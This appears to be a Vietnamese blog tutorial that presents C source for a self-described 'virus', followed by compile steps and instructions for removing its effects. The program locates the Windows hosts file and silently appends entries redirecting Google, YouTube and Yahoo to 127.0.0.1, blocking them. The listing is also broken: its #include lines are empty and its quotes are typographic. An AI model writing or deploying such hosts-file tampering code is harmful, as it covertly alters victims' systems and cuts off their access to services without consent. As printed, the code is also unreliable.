Chú ý: Bạn cũng có thể chặn một trang web bằng tay. Tuy nhiên, ở đây tôi đã tạo ra một loại virus tự động hóa tất cả các bước liên quan trong việc ngăn chặn. Quá trình hướng dẫn ngăn chặn được mô tả trong bài viết Làm thế nào để Chặn một Website?
" #include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
Làm thế nào để biên dịch?
Đối với từng bước hướng dẫn lập, tham khảo bài viết của tôi như thế nào để biên dịch chương trình C.
Thử nghiệm
1. Để kiểm tra, chạy các module được biên dịch. Nó sẽ chặn các trang web được liệt kê trong mã nguồn.
2. Một khi bạn chạy các block_Site.exe tập tin, khởi động lại chương trình trình duyệt của bạn. Sau đó, gõ địa chỉ URL của trang web bị chặn và bạn sẽ thấy các trình duyệt hiển thị lỗi "Trang có thể không hiển thị".
3. Để loại bỏ các loại virus sau khi chạy.
%windir%\system32\drivers\etc
4. Có, mở tập tin có tên "hosts" bằng cách sử dụng notepad.At dưới cùng của file được mở bạn sẽ thấy một cái gì đó như thế này
127.0.0.1 google.com
5. Xóa tất cả các mục đó có chứa tên của các trang web bị chặn.
Không có nhận xét nào:
Đăng nhận xét